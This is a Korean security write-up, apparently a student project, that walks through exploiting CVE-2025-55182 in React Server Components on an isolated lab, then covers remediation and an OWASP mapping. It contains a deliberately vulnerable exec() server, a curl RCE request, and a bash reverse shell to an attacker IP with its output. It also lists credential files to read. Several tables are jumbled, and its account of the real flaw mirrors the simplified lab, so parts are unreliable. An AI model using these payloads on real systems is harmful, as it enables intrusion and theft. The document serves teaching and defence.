
보안 연구 & CVE-2025-55182 (React) 익스플로잇 분석 — CVSS + OWASP Top 10 매핑
웹 애플리케이션 취약점 분석 · M2 Cybersecurity · 2025 저자: Niane Mohamed · LinkedIn
React Server Components의 심각한(CVSS 10.0) 안전하지 않은 역직렬화 취약점에 대한 종단간 공격 체인으로, 정찰부터 인증되지 않은 원격 코드 실행, 완전한 수정 로드맵까지 다룹니다.
이 연구는 CVE를 시연하기 위해 구축된 의도적으로 취약한 실습 애플리케이션을 대상으로 합니다. 모든 테스트는 격리된 가상 네트워크에서 수행되었으며, 프로덕션 시스템, 실제 사용자 데이터 또는 타사 서비스와의 연결이 없었습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2025-55182 |
| 클래스 | 안전하지 않은 역직렬화 → 원격 코드 실행 |
| CVSS v3.1 | 10.0 (심각) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 필요한 인증 | 없음 |
| 필요한 사용자 상호작용 | 없음 |
| 공격 벡터 | 네트워크 (원격) |
| 구성 요소 | React Server Components (RSC) 런타임 |
React Server Components는 서버에서 렌더링된 컴포넌트를 클라이언트로 스트리밍하기 위해 새로운 직렬화 형식을 도입했습니다. 취약한 버전에서 RSC 엔드포인트는 서버 측 렌더링 평가의 일부로 cmd 필드를 포함한 JSON 페이로드를 받아 child_process.exec()에 전달합니다.
공격자는 다음과 같은 조작된 POST 요청을 보낼 수 있습니다:
root)| 구성 요소 | 취약한 범위 | 패치된 버전 |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
들어오는 페이로드의 명령을 안전하지 않게 실행하는 /rsc 엔드포인트를 노출하는 최소한의 Express + RSC 서버입니다. 통제된 환경에서 실제 CVE의 취약점 패턴을 재현합니다:
// server.js — 단순화된, 실습 전용
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// 취약: 공격자가 제어하는 문자열을 실행합니다
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# 포트 발견
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC 서버)
# 서비스 확인
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "취약한 RSC 유사 테스트 서버입니다. JSON과 함께 POST /rsc를 사용하십시오..."
X-Powered-By: Express 헤더와 특이한 포트 3000은 이 서버가 RSC 배포와 일치하는 Node.js 애플리케이션임을 강력하게 식별합니다.
파괴적인 작업을 시도하기 전에 무해한 명령으로 취약점을 검증합니다:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# 응답:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ 확인됨: root로 인증되지 않은 RCE. 서버가 제한 없는 권한으로 실행됩니다.
단일 명령 실행에서 전체 대화형 셸로 업그레이드:
# 공격자 머신에서 리스너
nc -lvnp 4444
# 페이로드 전달
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
리스너가 수신:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
대상에서 root 권한을 가진 공격자는 쉽게 다음을 수행할 수 있습니다:
/etc/shadow, SSH 키, 애플리케이션 비밀, .env 파일 읽기이 공격의 낮은 복잡성(인증 불필요, 사용자 상호작용 불필요, 단일 HTTP 요청)은 다음에 매력적입니다:
React를 19.3.0+로 업그레이드 — 패치된 버전
npm update react react-server-dom-webpack react-server-dom-esm
임시 WAF 규칙 (업그레이드가 지연되는 경우):
"cmd" 필드가 포함된 JSON 본문이 있는 POST 요청을 /rsc로 차단
긴급 사고 대응:
/rsc POST 트래픽 확인| OWASP 카테고리 | 관련성 |
|---|---|
| A03:2021 — 인젝션 | 역직렬화된 입력을 통한 명령 인젝션 |
| A08:2021 — 소프트웨어 및 데이터 무결성 실패 | 무결성 검증 없는 안전하지 않은 역직렬화 |
curl을 사용한 HTTP 조작, 리버스 셸 엔지니어링, 페이로드 제작MIT 라이선스 — LICENSE 참조
교육 및 방어 연구 목적으로 게시되었습니다. 상단의 윤리적 고지를 참조하십시오.
Niane Mohamed — 네트워크 및 보안 엔지니어 📍 누악쇼트, 모리타니 → 독일에서 기회를 찾고 있습니다 🇩🇪 📧 [email protected] · 🔗 LinkedIn
react-server-dom-webpack| 19.0.0 → 19.2.0 |
| 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| 역할 | OS | 도구 |
|---|
| 공격자 | Kali Linux (최신) | nmap, curl, netcat, OWASP ZAP, Firefox |
| 대상 | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| 네트워크 | VMware VMnet Host-Only | 인터넷 외부 연결 없음 |
| 축 | 영향 | 설명 |
|---|
| 기밀성 | 심각 | 모든 서버 데이터에 대한 전체 읽기 액세스 |
| 무결성 | 심각 | 애플리케이션 코드와 사용자 데이터 수정 가능 |
| 가용성 | 높음 | 공격자가 서비스를 종료하거나 랜섬웨어로 잡을 수 있음 |
| 규제 | 심각 | GDPR/DSGVO 위반으로 72시간 이내 공개 의무 · 전 세계 매출의 4% 벌금 가능 |
| 평판 | 심각 | 공개 CVE 매핑된 침해로 고객 신뢰 손상 |
| 재정적 | 높음 | 사고 대응, 규제 벌금, 잠재적 집단 소송 |
| 통제 | 목적 |
|---|
| 사용하지 않으면 RSC 비활성화 | 공격 표면 감소 — 많은 앱이 서버 컴포넌트를 필요로 하지 않음 |
| 엄격한 입력 유효성 검사 | 실행 가능한 키를 포함하는 역직렬화된 객체 거부 |
| 루트가 아닌 컨테이너 사용자 | RCE 재발 시 폭발 반경 제한 |
| 읽기 전용 루트 파일 시스템 | 지속성 및 바이너리 드롭 방지 |
| 이그레스 필터링 | 앱 서버에서 임의 IP로의 아웃바운드 트래픽 차단 |
| 통제 | 목적 |
|---|
| 행동 분석을 갖춘 WAF | 서명 규칙을 넘어 비정상적인 POST 페이로드 탐지 |
| RASP (Runtime Application Self-Protection) | 런타임에 exec()와 같은 위험한 함수 호출 차단 |
| CI/CD의 SCA | 배포 전 취약한 종속성 탐지 (pip-audit, npm audit, Trivy) |
| 침투 테스트 주기 | 매년 + 주요 릴리스 후 |
| 버그 바운티 프로그램 | 공격자가 문제를 찾기 전에 화이트햇 공개 유도 |
| A06:2021 — 취약하고 오래된 구성 요소 | 공개 후 React 19.0-19.2 사용 |
| A05:2021 — 보안 구성 오류 | Node.js를 root로 실행, 입력 유효성 검사 없음 |